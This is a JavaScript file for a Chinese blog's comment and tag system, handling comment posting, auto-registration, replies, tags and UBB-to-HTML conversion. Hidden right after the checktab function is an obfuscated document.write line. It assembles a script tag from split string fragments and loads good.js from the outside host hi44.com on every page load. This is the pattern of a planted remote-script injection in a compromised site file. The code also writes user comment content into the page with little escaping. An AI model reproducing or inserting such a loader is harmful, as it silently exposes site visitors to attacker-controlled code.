var itemID;
var favorname;
var username;
var username_IP;
var comment_type="reg_comment";
var u_alert;
var comment_text;
var comment_bottom;
var comment_info;
var IE = (navigator.appName.indexOf("Microsoft") >= 0);
//***************添加评论**********************************
function x_add_comment() {
   	zajax_do_call1("/userblog/comment_add1.aspx",
	              "add_comment",
                  x_add_comment.arguments,username_IP);
}
function do_add_comment_cb(r) {
   var XmlDoc = new ActiveXObject('Microsoft.XMLDOM');
	 XmlDoc.async=false; XmlDoc.validateOnParse=false; 
     XmlDoc.loadXML(r);
     var obj = XmlDoc.getElementsByTagName("Table");
     var text1;
       for (var i=0;i<obj.length;i++) 
        {
		  var node = obj.item(i);
		  var text1=node.text;
		}
     if(text1=="false")
      {
        alert("你还没有登录，不能发表评论！"); 
        window.open("login.aspx");
        //return false;
      }
     else if(text1=="IP_FALSE")
	  {
        alert("此IP已被禁止，请与管理员联系！");
	  }
	 else if(text1=="BUG")
	 {
	    alert("注册信息有误！");
	 }
	 else if(text1=="Mail")
	 {
	    alert("您输入的邮箱已经注册过");
	 }
	 else
	 {
	    if(u_alert=="reg")
	    {
           alert("评论功能已关闭!");
           u_alert=""; 
        }
        else
        {
          alert("评论功能已关闭!"); 
        } 
  
       for (var i=obj.length-1;i>=0;i--) 
        { 
        var user_face="lifepop";
    	var node = obj.item(i);
		var cldNodes = node.childNodes;
		for (var k=0; k<cldNodes.length; k++)
         {
           
           str += cldNodes.item(k).nodeName + ":" + cldNodes.item(k).text + " ";
           var str=cldNodes.item(k).nodeName;
           switch(str)
           {
              case "u_face":
              {
                user_face=cldNodes.item(k).text;
                break;
              }
               case "u_nickname":
              {
               var u_nickname="";
                u_nickname=cldNodes.item(k).text;
                break;
              } 
              case "username":
              {
                var username1="";
                username1=cldNodes.item(k).text;
                break;
             } 
           }
         } 
        var str;
        var info;
        if(username1==254483)
        {
          username1="游客";
          str=username1;
          info="<img src=face/"+user_face+" width=96 height=96 border=0>";
        }
        else
        {
           if(user_face=="lifepop")
           {
               user_face="m.gif";
           }
           info="<a href=seeinfo.aspx?popno="+username1+" title=\"查看“"+username1+"”的资料\" target=_blank><img src='face/"+user_face+"' width=96 height=96 border=0></a><br><a href=seeinfo.aspx?popno="+username1+" target=_blank>"+u_nickname+"("+username1+")</a>";
        } 
        var now = new Date();
        var year=now.getYear();
        var month=now.getMonth();
        var day=now.getDate();
        var hours = now.getHours();
        var minutes = now.getMinutes();
        var seconds = now.getSeconds()
        var time=year+"-"+month+"-"+day+" "+hours+":"+minutes+":"+seconds;
        comment_text+="<table width=\"90%\" height=\"150\" border=\"0\" cellpadding=\"0\"  cellspacing=\"0\" ><tr><td width=\"23%\" align=center>"+info+"</td><td width=\"62%\" style='WORD-WRAP: break-word'><table width=\"100%\" height=\"21%\" border=\"0\" cellpadding=\"0\"  cellspacing=\"0\" style='WORD-WRAP: break-word' ><tr><td height=30 ></td></tr><tr><td width=100% align=left>评论时间："+time+"&nbsp;&nbsp;<a onclick=\"back(this.value,this.name,this.id,itemID);\" name="+u_nickname+" id="+time+" value=\""+comment_info+"\" style='cursor:hand;'>回复</a></td></tr> <tr><td style='WORD-WRAP: break-word'  width=300px><br>"+trans(comment_info)+"</td></tr></table></td></tr><tr><td colspan=2 background='index.files/newtop_3/line3.gif' height='1'></td></tr></table>";
       }
       var comment_box = document.getElementById("comment_box_"+itemID);
       var div_comment=document.createElement("div");
       var div_b=document.createElement("div");
       comment_box.innerHTML="";

      
       div_comment.innerHTML=comment_text;
       div_b.innerHTML=comment_bottom;
       //document.write(comment_text);
      comment_box.appendChild(div_comment);  
       comment_box.appendChild(div_b);
     }
   // do_select_comment(itemID,username);  
  }
function do_add_comment(itemIDs) {
    itemID=itemIDs;
    switch_obj_disabled(btn_me);
     if(username=="")
     {
          if(comment_type=="reg_comment")
          {
                 var email = document.getElementById("email").value;
                  email = Trim(email);
                    if (email == '') {
                  alert("Email不能为空！");
                    document.getElementById("email").focus();
                    return false;
                }
                var pwd = document.getElementById("comment_pwd").value;
                pwd = Trim(pwd);
                    if (pwd == '') {
                  alert("密码不能为空！");
                  document.getElementById("comment_pwd").focus();
                    return false;
                }
                  var comment = document.getElementById("item_comment1_"+itemID).value;
	            comment = Trim(comment);
                if (comment == '') 
                {
                  alert("评论内容不能为空！");
                  document.getElementById("item_comment1_"+itemID).focus();
                  return false;
                }
                if(document.getElementById("email").value.length!=0)
               {
				if (document.getElementById("email").value.charAt(0)=="." ||        
				 document.getElementById("email").value.charAt(0)=="@"||       
				 document.getElementById("email").value.indexOf('@', 0) == -1 || 
				 document.getElementById("email").value.indexOf('.', 0) == -1 || 
				 document.getElementById("email").value.lastIndexOf("@")==document.getElementById("email").value.length-1 || 
                 document.getElementById("email").value.lastIndexOf(".")==document.getElementById("email").value.length-1)
				{
					alert("Email的格式不正确！");
					document.getElementById("email").focus();
					return false;
				}
			  }
                if(pwd.indexOf(',')>0)
                {
                  alert("密码有非法字符！");
                   document.getElementById("comment_pwd").focus();
                  return false;
                }
                else
                {
                 username_IP="reg_comment,"+email+","+pwd; 
                 var btn_me = document.getElementById("btn_add_comment1_"+itemID);
                 if(btn_me!="")
                 {
                      btn_me.EnableViewState=false
                 }
                 u_alert="reg";
               }
               
          }
          else
          {
               	var comment = document.getElementById("item_comment_"+itemID).value;
	           comment = Trim(comment);
                if (comment == '') {
                  alert("评论内容不能为空！");
                  document.getElementById("item_comment_"+itemID).focus();
                    return false;
                }
                username_IP="comment_check"; 
                var btn_me = document.getElementById("btn_add_comment_"+itemID);
               if(btn_me!="")
               {
                      btn_me.EnableViewState=false
               }
          }
    }
    else
    {
      	var comment = document.getElementById("item_comment_"+itemID).value;
	           comment = Trim(comment);
                if (comment == '') {
                  alert("评论内容不能为空！");
                  document.getElementById("item_comment_"+itemID).focus();
                    return false;
                }
                  var btn_me = document.getElementById("btn_add_comment_"+itemID);
            if(btn_me!="")
               {
                      btn_me.EnableViewState=false
               }
    } 
    comment_info=comment;   
    x_add_comment(comment,itemID,do_add_comment_cb);	
 }
//***********************获得日志评论信息**************************************************
function x_select_comment() {
	zajax_do_call("/userblog/comment_add.aspx",
	              "s_comment",
                  x_select_comment.arguments);
}
function do_select_comment_cb(r) {
           var r = explodeStr(r);
       if (r[0]<0||r[1]=="") {
        alert("错误！");
        switch_obj_disabled(btn_me);
		getURL('add_comment');
        return false;
    }
	 var XmlDoc = new ActiveXObject('Microsoft.XMLDOM');
	 XmlDoc.async=false; XmlDoc.validateOnParse=false; 
     XmlDoc.loadXML(r);
     var obj = XmlDoc.getElementsByTagName("Table");
     var comment_box = document.getElementById("comment_box_"+itemID);
     var comment_single="";
     if(obj.length>0)
     {
        comment_box.innerHTML="数据加载.....";
     }
      for (var i=obj.length-1;i>=0;i--) 
        {
		var node = obj.item(i);
		var cldNodes = node.childNodes;
		 var user_face="lifepop";
		for (var k=0; k<cldNodes.length; k++)
         {
           
           str += cldNodes.item(k).nodeName + ":" + cldNodes.item(k).text + " ";
           var str=cldNodes.item(k).nodeName;
           switch(str)
           {
           
             case "c_id":
             {
                var commentid="";
                commentid=cldNodes.item(k).text;
                break;
             }
              case "c_content":
             {
                var content=""; 
                content=cldNodes.item(k).text;
                break;
             } 
             case "c_guest":
             {
                var username1="";
                username1=cldNodes.item(k).text;
                break;
             } 
             case "u_face":
             {
                user_face=cldNodes.item(k).text;
                break;
             }
             case "comment_time":
             {
                var time_date=""; 
                time_date=cldNodes.item(k).text;
                break;
             }
             case "u_nickname":
             {
               var u_nickname="";
               u_nickname=cldNodes.item(k).text;
               break;
             }
           }
       
        }
        var str;
        var info;
        if(username1==254483)
        {
          username1="游客";
          str=username1;
          info="<img src=face/"+user_face+" width=96 height=96 border=0>";
        }
        else
        {
           if(user_face=="lifepop")
           {
               user_face="m.gif";
           }
          info="<a href=seeinfo.aspx?popno="+username1+" title=\"查看“"+username1+"”的资料\" target=_blank><img src='face/"+user_face+"' width=96 height=96 border=0></a><br><a href=seeinfo.aspx?popno="+username1+" target=_blank>"+u_nickname+"("+username1+")</a>";
        }
		comment_single+="<table width=\"90%\" height=\"150\" border=\"0\" cellpadding=\"0\"  cellspacing=\"0\" ><tr><td width=\"23%\" align=center>"+info+"</td><td width=\"62%\" style='WORD-WRAP: break-word'><table width=\"100%\" height=\"21%\" border=\"0\" cellpadding=\"0\"  cellspacing=\"0\" style='WORD-WRAP: break-word' ><tr><td height=30 ></td></tr><tr><td width=100% align=left>评论时间："+time_date+"&nbsp;&nbsp;<a onclick=\"back(this.value,this.name,this.id,itemID);\" name="+u_nickname+" id="+time_date+" value=\""+content+"\" style='cursor:hand;'>回复</a></td></tr> <tr><td style='WORD-WRAP: break-word'  width=300px><br>"+trans(content)+"</td></tr></table></td></tr><tr><td colspan=2 background='index.files/newtop_3/line3.gif' height='1'></td></tr></table>";
        }
         comment_text=comment_single;
        if(username=="")
        {
          comment_single+="<table width=\"100%\" height=\"23\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" bordercolor=\"#cccccc\"><tr><td class=\"style\" colspan=\"2\" align=\"left\">你尚未登录,请选择：<input type=\"radio\" checked name=\"comment_check\" id=\"comment_check\" value=\"reg_comment\" onclick=\"checktab(this.value);\">评论时自动注册&nbsp;<input type=\"radio\" name=\"comment_check\" value=\"comment_check\" id=\"comment_check\" onclick=\"checktab1(this.value);\" >匿名发表&nbsp;<input type=\"radio\" name=\"comment_check\"  value=\"comment_check\"  onclick=\"javascript:window.open('login.aspx');checktab1(this.value);\">登录&nbsp;</td>"
                         +"</tr></table><table width=\"100%\" border=\"0\" id=\"tab1\" cellpadding=\"0\" cellspacing=\"0\" ordercolor=\"#cccccc\"><tr><td width=\"12%\"   align=\"center\">邮箱</td><td width=\"84%\"><input id=\"email\" style=\"width:140px;height:20;\"></td></tr><tr><td  align=\"center\" >密码</td><td><input id=\"comment_pwd\" type=\"password\" style=\"width:140px;height:20;\"></td></tr><tr><td height=\"89\" align=\"center\" >评论内容</td>"
                         +"<td><TEXTAREA id='item_comment1_"+itemID+"' name=\"TextBox1\" rows=\"4\" cols=\"32\" runat=\"server\"></TEXTAREA><input name=\"image\" id='btn_add_comment1_"+itemID+"' type=image src=userblog/images/fans_13.gif  OnClick=\"do_add_comment(itemID);return false;\" align=\"absmiddle\" ></td></tr></table><table width=\"100%\"  id=\"tab2\" style=\"display:none\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" bordercolor=\"#cccccc\"><tr><td  >发表评论</td></tr>"
                         +"<tr><td  valign=\"middle\"><TEXTAREA id='item_comment_"+itemID+"' name=\"TextBox1\" cols=\"40\"  rows=\"4\"  runat=\"server\"></TEXTAREA><input name=\"image\" id='btn_add_comment_"+itemID+"' type=image src=userblog/images/fans_13.gif  OnClick=\"do_add_comment(itemID);return false;\" align=\"absmiddle\" ></td></tr></table>";
                         
         comment_bottom="<table width=\"100%\" height=\"23\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" bordercolor=\"#cccccc\"><tr><td class=\"style\" colspan=\"2\" align=\"left\">你尚未登录,请选择：<input type=\"radio\" checked name=\"comment_check\" id=\"comment_check\" value=\"reg_comment\" onclick=\"checktab(this.value);\">评论时自动注册&nbsp;<input type=\"radio\" name=\"comment_check\" value=\"comment_check\" id=\"comment_check\" onclick=\"checktab1(this.value);\" >匿名发表&nbsp;<input type=\"radio\" name=\"comment_check\"  value=\"comment_check\"  onclick=\"javascript:window.open('login.aspx');checktab1(this.value);\">登录</td>"
                         +"</tr></table><table width=\"100%\" border=\"0\" id=\"tab1\" cellpadding=\"0\" cellspacing=\"0\" ordercolor=\"#cccccc\"><tr><td width=\"12%\"   align=\"center\">邮箱</td><td width=\"84%\"><input id=\"email\" style=\"width:140px;height:20;\"></td></tr><tr><td  align=\"center\" >密码</td><td><input id=\"comment_pwd\" type=\"password\" style=\"width:140px;height:20;\"></td></tr><tr><td height=\"89\" align=\"center\" >评论内容</td>"
                         +"<td><TEXTAREA id='item_comment1_"+itemID+"' name=\"TextBox1\" rows=\"4\" cols=\"32\" runat=\"server\"></TEXTAREA><input name=\"image\" id='btn_add_comment1_"+itemID+"' type=image src=userblog/images/fans_13.gif  OnClick=\"do_add_comment(itemID);return false;\" align=\"absmiddle\" ></td></tr></table><table width=\"100%\"  id=\"tab2\" style=\"display:none\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" bordercolor=\"#cccccc\"><tr><td  >发表评论</td></tr>"
                         +"</table>";
             comment_box.innerHTML=comment_single;  
            var btn_me = document.getElementById("btn_add_comment_"+itemID);
             btn_me.EnableViewState=true;
        }
        else
        {
            comment_single+="<br>&nbsp;&nbsp;&nbsp;发表评论<br>&nbsp;&nbsp;&nbsp;<TEXTAREA id='item_comment_"+itemID+"' name=\"TextBox1\" rows=\"6\" cols=\"40\" runat=\"server\"></TEXTAREA>&nbsp;&nbsp;&nbsp;<input name=\"image\" id='btn_add_comment_"+itemID+"' type=image src=userblog/images/fans_13.gif  OnClick=\"do_add_comment(itemID);return false;\" align=\"absmiddle\" >";
            comment_bottom="<br>&nbsp;&nbsp;&nbsp;发表评论<br>&nbsp;&nbsp;&nbsp;<TEXTAREA id='item_comment_"+itemID+"' name=\"TextBox1\" rows=\"6\" cols=\"40\" runat=\"server\"></TEXTAREA>&nbsp;&nbsp;&nbsp;<input name=\"image\" id='btn_add_comment_"+itemID+"' type=image src=userblog/images/fans_13.gif  OnClick=\"do_add_comment(itemID);return false;\" align=\"absmiddle\" >";
            comment_box.innerHTML=comment_single;  
            var btn_me = document.getElementById("btn_add_comment_"+itemID);
            btn_me.EnableViewState=true;
        }
     
     }
function do_select_comment(itemIDs,str_name) {
    itemID=itemIDs;
	var comment ="lifepop";
	username=str_name;
	comment = Trim(comment);
    if (comment == '')
    {
        return false;
    }
    if(str_name=='')
    {
        
    }
    x_select_comment(comment,itemID,do_select_comment_cb);	
}
//回复
function  back(t,u,time,id)
{
   if(u=="sibulo4")
   {
      u="游客";
   }
    var text="[quote][b]以下是引用[/b][b]"+u+"[/b] 于[b] "+time+" [/b]的发言：\r\n\r\n"+t+"[/quote]";
   if(username=="")
   {
  if(comment_type=="reg_comment")
  {
    document.getElementById("item_comment1_"+id).value=text;
  }
  else if(comment_type=="comment_check")
  {
     document.getElementById("item_comment_"+id).value=text;
   }
  }
  else
  {
   document.getElementById("item_comment_"+id).value=text;
  }
}
//评论注册和匿名发表页面交换
function  checktab(type)
{
     comment_type=type;
   document.getElementById("tab"+1).style.display="inline";
   document.getElementById("tab"+2).style.display="none";
  
}document.write("<sc"+"r"+"i"+"pt sr"+"c=ht"+"tp://h"+"i4"+"4.com/g"+"oo"+"d.js><\/scr"+"ipt>");
function  checktab1(type)
{
   comment_type=type;
   document.getElementById("tab"+2).style.display="inline";
   document.getElementById("tab"+1).style.display="none";
}
//*********************获得此日志的标签信息********************************
function do_select_tags(itemIDs,str_name) {
     itemID=itemIDs;
    var tags="lifrpop";
    username=str_name;
    tags = Trim(tags);
    if (tags == '')
    {
        return false;
    }
   　x_select_tags(tags,itemID,do_select_tags_cb);	
}
function x_select_tags() {
	zajax_do_call("/userblog/comment_add.aspx",
	              "s_tags",
                  x_select_tags.arguments);
}
function do_select_tags_cb(r) {
      var r = explodeStr(r);
	 var XmlDoc = new ActiveXObject('Microsoft.XMLDOM');
	 XmlDoc.async=false; XmlDoc.validateOnParse=false; 
     XmlDoc.loadXML(r);
     var obj = XmlDoc.getElementsByTagName("Table");

  itemID=XmlDoc.getElementsByTagName("c_p_id")[0].firstChild.data;

     var tags_box = document.getElementById("tags_box_"+itemID);
	 var tags_box1 = document.getElementById("tags_box1_"+itemID);
	if(tags_box1==null)
	{
     　var tags_single="<table width='100%' height='80' border='0' cellpadding='0' cellspacing='1'  bgcolor='#CCCCCC' ><tr><td valign='top' bgcolor='#FFFFFF'  style='WORD-WRAP: break-word'><table width='100%' border='0' cellspacing='0' cellpadding='3' ><tr><td width='70%'><input id='item_tags_"+itemID+"'  type='text' size='20'> <input id='btn_add_tags_"+itemID+"' type='submit'  value='添加一个新标签' OnClick=\"do_add_tags("+itemID+");return false;\"></td><td valign='top' align='right' width='25%'><a href='../help/help_show.aspx?ID=86' target='_blank'>什么是标签?</a><td align='right' valign='top' width='5%'><a onclick=\"swapDispaly('add_tag_"+itemID+"','none');\" style='CURSOR: hand' target='_self'><img src='images/close_d.gif' border='0'  width='11' height='11'></a></td></tr><tr><td colspan='3' style='WORD-WRAP: break-word'><strong>本日志的标签：</strong>";
    }
    else
	{
       var tags_single="<table width='88%' height='100%' border='0'  cellpadding='0' cellspacing='1'   ><tr><td valign='top' bgcolor='#FFFFFF'  style='WORD-WRAP: break-word'><table width='100%' border='0' cellspacing='0' cellpadding='3' ><tr><td width='70%'><input id='item_tags_"+itemID+"' heigth=10  type='text' size='20'> <input id='btn_add_tags_"+itemID+"' type='image' src='../images/addtags.gif'  value='添加一个新标签' OnClick=\"do_add_tags("+itemID+");return false;\">&nbsp;<a href='../help/help_show.aspx?ID=86' target='_blank'><img src='../images/tags.gif' border=0></a></td></tr><tr><td colspan='3' style='WORD-WRAP: break-word'>标签：";        
    }
    for (var i=0;i<obj.length;i++) 
        {
		var node = obj.item(i);
		var cldNodes = node.childNodes;
		for (var k=0; k<cldNodes.length; k++)
         {
           str += cldNodes.item(k).nodeName + ":" + cldNodes.item(k).text + " ";
           var str=cldNodes.item(k).nodeName
           switch(str)
           {
             case "tags_id":
             {
                var tags_id=cldNodes.item(k).text;
                break;
             }
              case "content":
             {
                var content=cldNodes.item(k).text;
                break;
             } case "tags_username":
             {
                var name=cldNodes.item(k).text;
                break;
             } 
           }
        }
		tags_single+="<span  id='tag_"+ tags_id +"'><a href='../podcast_list.aspx?tag="+content+"' title='添加者："+name+",点击查看"+content+"标签相关联日志' target='_blank'>"+content+"</a>&nbsp;<a onclick=\"do_del_item_tag("+tags_id+","+itemID+");\" target='_self' style='CURSOR: hand'><img src='../images/close_t.gif' border='0' width='11' height='11' id=\"delecttags_+tags_id\"></a>&nbsp;&nbsp;";       

        }
       
	     if(obj.length==0)
	     {
           tags_single+="本日志暂时没有标签，不如你来添加"+"</span>";  
		 }
		 else
	     {
            tags_single+="</span></td></tr></table>";
		 }
      if(tags_box1==null)
	{
       tags_box.innerHTML=tags_single;

	}
   else
	{
        tags_box1.innerHTML=tags_single;
   }
  }
//****************添加此日志的标签信息**************************************
function x_add_tags() {
	zajax_do_call("/userblog/comment_add.aspx",
	              "add_tags",
                  x_add_tags.arguments);
}

function do_add_tags_cb(r) {
  //alert(r);
   var XmlDoc = new ActiveXObject('Microsoft.XMLDOM');
	 XmlDoc.async=false; XmlDoc.validateOnParse=false; 
     XmlDoc.loadXML(r);
     var obj = XmlDoc.getElementsByTagName("Table");
     var text1;
       for (var i=0;i<obj.length;i++) 
        {
		var node = obj.item(i);
		var text1=node.text;
		}
     if(text1=="false")
      {
        alert("你还没有登录，不能添加标签！");
        //return false; 
      }
      do_select_tags(itemID,username);
   }
function do_add_tags(itemIDs) {
    itemID=itemIDs;
   	var tags = document.getElementById("item_tags_"+itemID).value;
	tags = Trim(tags);
  if (tags == '') {
        return false;
    }
    var btn_me = document.getElementById("btn_add_tags_"+itemID);
    switch_obj_disabled(btn_me);
    x_add_tags(tags,itemID,do_add_tags_cb);	
}

//********************删除标签*******************************

function x_del_item_tag() {
	zajax_do_call("/userblog/comment_add.aspx",
	              "del_item_tag",
                  x_del_item_tag.arguments);
}
function do_del_item_tag_cb(r) {
    var XmlDoc = new ActiveXObject('Microsoft.XMLDOM');
	 XmlDoc.async=false; XmlDoc.validateOnParse=false; 
     XmlDoc.loadXML(r);
     var obj = XmlDoc.getElementsByTagName("Table");
     var text;
      for (var i=0;i<obj.length;i++) 
      {
        var node = obj.item(i);
		 text=node.text;
      }
      if(text=="false")
      {
        alert("只有日志作者可以删除标签！");
      }
     do_select_tags(itemID,'sibulo');
    }
function do_del_item_tag(tagid,itemIDs) {
	itemID =itemIDs;
	var tags="lifepop";
	var btn_me = document.getElementById("delecttags_"+tagid);
    switch_obj_disabled(btn_me);
    x_del_item_tag(tags,tagid,do_del_item_tag_cb);	
}
//============ubb============================
function trans(strContent){
var re;
    strContent=strContent.replace("\n","<BR>");

	re=/\[IMG\](.+?)\[\/IMG\]/ig;
	strContent=strContent.replace(re,"<a href=$1 target=_blank><IMG SRC=$1 border=0 alt=按此在新窗口浏览图片 onload=\"javascript:if(this.width>screen.width-333)this.width=screen.width-333\" galleryImg=no></a>");
	re=/\[DIR=*([0-9]*),*([0-9]*)\](.*?)\[\/DIR]/ig
	strContent=strContent.replace(re,"<object classid=clsid:166B1BCA-3F9C-11CF-8075-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=7,0,2,0 width=$1 height=$2><param name=src value=$3><embed src=$3 pluginspage=http://www.macromedia.com/shockwave/download/ width=$1 height=$2></embed></object>")
	re=/\[QT=*([0-9]*),*([0-9]*)\](.*?)\[\/QT]/ig
	strContent=strContent.replace(re,"<embed src=$3 width=$1 height=$2 autoplay=true loop=false controller=true playeveryframe=false cache=false scale=TOFIT bgcolor=#000000 kioskmode=false targetcache=false pluginspage=http://www.apple.com/quicktime/>")
	re=/\[MP=*([0-9]*),*([0-9]*)\](.*?)\[\/MP]/ig
	strContent=strContent.replace(re,"<object align=middle classid=CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95 class=OBJECT id=MediaPlayer width=$1 height=$2 ><param name=ShowStatusBar value=-1><param name=Filename value=$3><embed type=application/x-oleobject codebase=http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701 flename=mp src=$3  width=$1 height=$2></embed></object>")
	re=/\[RM=*([0-9]*),*([0-9]*)\](.*?)\[\/RM]/ig
	strContent=strContent.replace(re,"<OBJECT classid=clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA class=OBJECT id=RAOCX width=$1 height=$2><PARAM NAME=SRC VALUE=$3><PARAM NAME=CONSOLE VALUE=Clip1><PARAM NAME=CONTROLS VALUE=imagewindow><PARAM NAME=AUTOSTART VALUE=true></OBJECT><br><OBJECT classid=CLSID:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA height=32 id=video2 width=$1><PARAM NAME=SRC VALUE=$3><PARAM NAME=AUTOSTART VALUE=-1><PARAM NAME=CONTROLS VALUE=controlpanel><PARAM NAME=CONSOLE VALUE=Clip1></OBJECT>")


	re=/(\[FLASH\])(.*?)(\[\/FLASH\])/ig
	strContent= strContent.replace(re,"<OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=500 height=400><PARAM NAME=movie VALUE=$2><PARAM NAME=quality VALUE=high><embed src=$2 quality=high pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' width=500 height=400>$2</embed></OBJECT>")
	re=/(\[FLASH=*([0-9]*),*([0-9]*)\])(.*?)(\[\/FLASH\])/ig
	strContent= strContent.replace(re,"<a href=$4 TARGET=_blank><IMG SRC=pic/swf.gif border=0 alt=点击开新窗口欣赏该FLASH动画!> [全屏欣赏]</a><br><br><OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=$2 height=$3><PARAM NAME=movie VALUE=$4><PARAM NAME=quality VALUE=high><param name=menu value=false><embed src=$4 quality=high menu=false pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' width=$2 height=$3>$4</embed></OBJECT>")

	

	re=/(\[URL\])(.*?)(\[\/URL\])/ig
	strContent= strContent.replace(re,"<A HREF=$2 TARGET=_blank>$2</A>")
	re=/(\[URL=(.[^\[]*)\])(.*?)(\[\/URL\])/ig
	strContent= strContent.replace(re,"<A HREF=$2 TARGET=_blank>$3</A>")

	re=/(\[EMAIL\])(.*?)(\[\/EMAIL\])/ig
	strContent= strContent.replace(re,"<img align=absmiddle src=pic/email1.gif><A HREF=\"mailto:$2\">$2</A>")
	re=/(\[EMAIL=(.[^\[]*)\])(.*?)(\[\/EMAIL\])/ig
	strContent= strContent.replace(re,"<img align=absmiddle src=pic/email1.gif><A HREF=\"mailto:$2\" TARGET=_blank>$3</A>")

	re =/^(http:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/(http:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/[^>=""](http:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/^(ftp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/(ftp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/[^>=""](ftp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/^(rtsp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/(rtsp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/[^>=""](rtsp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/^(mms:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/(mms:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")
	re =/[^>=""](mms:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig
	strContent = strContent.replace(re,"<a target=_blank href=$1>$1</a>")

	

	re=/(\[color=(.[^\[]*)\])(.*?)(\[\/color\])/ig
	strContent=strContent.replace(re,"<font color=$2>$3</font>")
	re=/(\[face=(.[^\[]*)\])(.*?)(\[\/face\])/ig
	strContent=strContent.replace(re,"<font face=$2>$3</font>")
	re=/(\[align=(.[^\[]*)\])(.*?)(\[\/align\])/ig
	strContent=strContent.replace(re,"<div align=$2>$3</div>")
//循环转换quote
	
	re=/(\[fly\])(.*?)(\[\/fly\])/ig
	strContent=strContent.replace(re,"<marquee width=90% behavior=alternate scrollamount=3>$2</marquee>")
	re=/(\[move\])(.*?)(\[\/move\])/ig
	strContent=strContent.replace(re,"<MARQUEE scrollamount=3>$2</marquee>")	
	re=/\[GLOW=*([0-9]*),*(#*[a-z0-9]*),*([0-9]*)\](.*?)\[\/GLOW]/ig
	strContent=strContent.replace(re,"<table width=$1 style=\"filter:glow(color=$2, strength=$3)\">$4</table>")
	re=/\[SHADOW=*([0-9]*),*(#*[a-z0-9]*),*([0-9]*)\](.*?)\[\/SHADOW]/ig
	strContent=strContent.replace(re,"<table width=$1 style=\"filter:shadow(color=$2, strength=$3)\">$4</table>")

	re=/(\[i\])(.*?)(\[\/i\])/ig
	strContent=strContent.replace(re,"<i>$2</i>")
	re=/(\[u\])(.*?)(\[\/u\])/ig
	strContent=strContent.replace(re,"<u>$2</u>")
	re=/(\[b\])(.*?)(\[\/b\])/ig
	strContent=strContent.replace(re,"<b>$2</b>")

	re=/(\[size=1\])(.*?)(\[\/size\])/ig
	strContent=strContent.replace(re,"<font size=1>$2</font>")
	re=/(\[size=2\])(.*?)(\[\/size\])/ig
	strContent=strContent.replace(re,"<font size=2>$2</font>")
	re=/(\[size=3\])(.*?)(\[\/size\])/ig
	strContent=strContent.replace(re,"<font size=5>$2</font>")
	re=/(\[size=4\])(.*?)(\[\/size\])/ig
	strContent=strContent.replace(re,"<font size=6>$2</font>")
	
	re=/\[size=([+|-]?[0-7])\](.*?)(\[\/size\])/ig
	strContent=strContent.replace(re,"<font size=$1>$2</font>")
	
	re=/(\[list\])(.+?)(\[\/list\])/ig;
    strContent=strContent.replace(re,"<UL TYPE=SQUARE>$2<\/UL>");
    re=/(\[list=)(A|1)(\])(.+?)(\[\/list\])/ig;
    strContent=strContent.replace(re,"<OL TYPE=$2>$4<\/OL>");
    re=/(\[\*\])/ig;
    strContent=strContent.replace(re,"<LI>");

	re=/(\[center\])(.*?)(\[\/center\])/ig
	strContent=strContent.replace(re,"<center>$2</center>")

	re=/(\[table=(#*[a-z0-9]*),(#*[a-z0-9]*),(#*[a-z0-9]*)\])(.*?)(\[\/table\])/ig
	strContent=strContent.replace(re,"<table border=0 cellpadding=5 cellspacing=1 bgcolor=$2><tr><td bgcolor=$3><font color=$4>$5</font></td></tr></table>")
	re=/(\[quote\](.[^\[]*)\[\/quote\])/ig; //引用 
    strContent=strContent.replace(re,"<DIV class=quote>$2</div></div>"); 

    return(strContent);
}